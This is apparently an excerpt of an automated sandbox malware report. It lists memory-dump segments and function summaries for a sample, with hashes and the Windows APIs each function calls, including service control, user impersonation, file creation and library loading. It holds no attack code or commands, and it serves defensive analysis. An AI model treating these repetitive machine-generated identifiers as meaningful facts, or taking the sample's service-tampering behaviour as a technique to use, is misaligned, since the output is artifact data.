Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 26e91bb0c79e7288eeb07f0ec76e7335d01f72757e0473dc3b0c4bd5187f3987
Instruction ID: 60cea6d586a62b686a18e31fa36632e0620d00b5f165c183b2c713e53d790170
Opcode Fuzzy Hash: 26e91bb0c79e7288eeb07f0ec76e7335d01f72757e0473dc3b0c4bd5187f3987
Instruction Fuzzy Hash: DAE0C2311084C9DACF56DF648902FA97B8EDF81701F700295FB419AE5ECB2D0D119791

Function 049315C4 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 049318C8

Strings

]0>, xrefs: 0493162A
]0>, xrefs: 049315FB

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ChangeConfigService
String ID: ]0>$]0>
API String ID: 3849694230-1028144747
Opcode ID: 5d6c09d200da76e3ef1f3bda4978926c8cd87141d05709b1e5dd7050f2b97c9f
Instruction ID: dae522ab320c1d7cef7d0799a637e023765ce9629f757de742c74d2f2aa9d213
Opcode Fuzzy Hash: 5d6c09d200da76e3ef1f3bda4978926c8cd87141d05709b1e5dd7050f2b97c9f
Instruction Fuzzy Hash: EAC15B70D006599FDB10CFA8C8467AEBBF2FF46316F048539E855E72A4DB74A881CB81

Function 04930D43 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04930DCD

Strings

]0>, xrefs: 04930D6A

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ManagerOpen
String ID: ]0>
API String ID: 1889721586-1360828365
Opcode ID: 318e93914ed2851d298869b07951d5db714a7ada3a904fcf4549686a4436a063
Instruction ID: 2486a48796363b524d478c78418d5243b8fcb3f4c099749cdcdc224e2a563cbe
Opcode Fuzzy Hash: 318e93914ed2851d298869b07951d5db714a7ada3a904fcf4549686a4436a063
Instruction Fuzzy Hash: BC2137B6C003099FCB10DF99D884BDEFBF4EF89710F14812AD818AB244D734A541CBA4

Function 04930D48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04930DCD

Strings

]0>, xrefs: 04930D6A

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ManagerOpen
String ID: ]0>
API String ID: 1889721586-1360828365
Opcode ID: b96768656ae8600de677a968be72d647964de669637ede7e331ef13f0dedaf29
Instruction ID: 98506f0b700f8e48b93edde2d37c14cce302f652ea1cf1f8cb24690fcad62000
Opcode Fuzzy Hash: b96768656ae8600de677a968be72d647964de669637ede7e331ef13f0dedaf29
Instruction Fuzzy Hash: 582134B68003099FCB10CF99D884BDEFBF4EF89710F14812AD818AB244C734A540CBA4

Function 04931509 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04931580

Strings

]0>, xrefs: 0493152F

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ControlService
String ID: ]0>
API String ID: 253159669-1360828365
Opcode ID: 8b2c9265099a7e0f05ca5bf60c0ceb75bca4310fe97bed0f1027c5ea2bebfe44
Instruction ID: e83decb5cf8c6d11c476d739867c6725f3c1384fc0d9feaf2841362fcfba6ce5
Opcode Fuzzy Hash: 8b2c9265099a7e0f05ca5bf60c0ceb75bca4310fe97bed0f1027c5ea2bebfe44
Instruction Fuzzy Hash: 772106B19003499FDB10CF9AC485BDEFBF4AB48321F10802AE559A3250D778AA44CFA5

Function 04931510 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04931580

Strings

]0>, xrefs: 0493152F

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ControlService
String ID: ]0>
API String ID: 253159669-1360828365
Opcode ID: 9ab79cc17d44895411eb6a385961779603e13719738c6284cc49d05884fcd8c2
Instruction ID: 01a441516f086e41701076b4daf42614874c6b9d76cdb70999b4fc9c36f2703e
Opcode Fuzzy Hash: 9ab79cc17d44895411eb6a385961779603e13719738c6284cc49d05884fcd8c2
Instruction Fuzzy Hash: EA11E4B59003499FDB10DF9AC885BDEFBF4EF48320F10802AE559A3250D778AA44CFA5

Function 00CB5BE1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00CB5C95

Strings

C, xrefs: 00CB5CE8

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 7f5b7783e72b8214cfe50d8c7a1e31cdaebfad1109d7b943dc9e5a56d32df9ef
Instruction ID: 2be35d9117db935d157b570c0e1e4f45c9b325c75aadcaa0f0ecadb5deb4ae74
Opcode Fuzzy Hash: 7f5b7783e72b8214cfe50d8c7a1e31cdaebfad1109d7b943dc9e5a56d32df9ef
Instruction Fuzzy Hash: 1E01497214575D5EC7018F708955BEEBF66FF0F330F380259E9468B483E2A51D459319

Function 04931301 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04931367

Strings

]0>, xrefs: 04931322

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID: ]0>
API String ID: 2216092060-1360828365
Opcode ID: ea083d8a528c517ccff722a615304989efdce6677eda3312e957a6fbc8579782
Instruction ID: c6261713efd8e6527f2fe559ff0460098c7cdd6115a287a263de8589e5916051
Opcode Fuzzy Hash: ea083d8a528c517ccff722a615304989efdce6677eda3312e957a6fbc8579782
Instruction Fuzzy Hash: 9F1146B1800249CFDB10DF9AC845BDEFBF4EF48320F14802AD518A3650C778A944CFA5

Function 04931308 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04931367

Strings

]0>, xrefs: 04931322

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID: ]0>
API String ID: 2216092060-1360828365
Opcode ID: 7c29059e29dcda4063fb4aff8030adb09f1d0fb754f4ee9ce61f6b5e7d03db89
Instruction ID: aaaab23baa7c9d6480df549f3132b1544e1b8b9d186e495f0c42006a6cb8e06b
Opcode Fuzzy Hash: 7c29059e29dcda4063fb4aff8030adb09f1d0fb754f4ee9ce61f6b5e7d03db89
Instruction Fuzzy Hash: A211F5B18003498FDB10DF9AC845BDEFBF8AF49720F14842AD558A3650D778A944CFA5

Function 00CB5AF4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00CB5AF9

Strings

C, xrefs: 00CB5CE8

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 10b234211d1a1ec4451ad2cdbaa90785e6fd223a9cbc5c6c8d5737928cc19298
Instruction ID: 215f3270d73c6a50910beb26c57e6d35b864ae26ab79ec73533b683232e579c7
Opcode Fuzzy Hash: 10b234211d1a1ec4451ad2cdbaa90785e6fd223a9cbc5c6c8d5737928cc19298
Instruction Fuzzy Hash: 26E068711697AD5AEB108F308C86BCFBF15DF47320F00460CEA58968C3C2B92D05870C

Function 00CB257A Relevance: 1.6, APIs: 1, Instructions: 126
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00CB257A

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
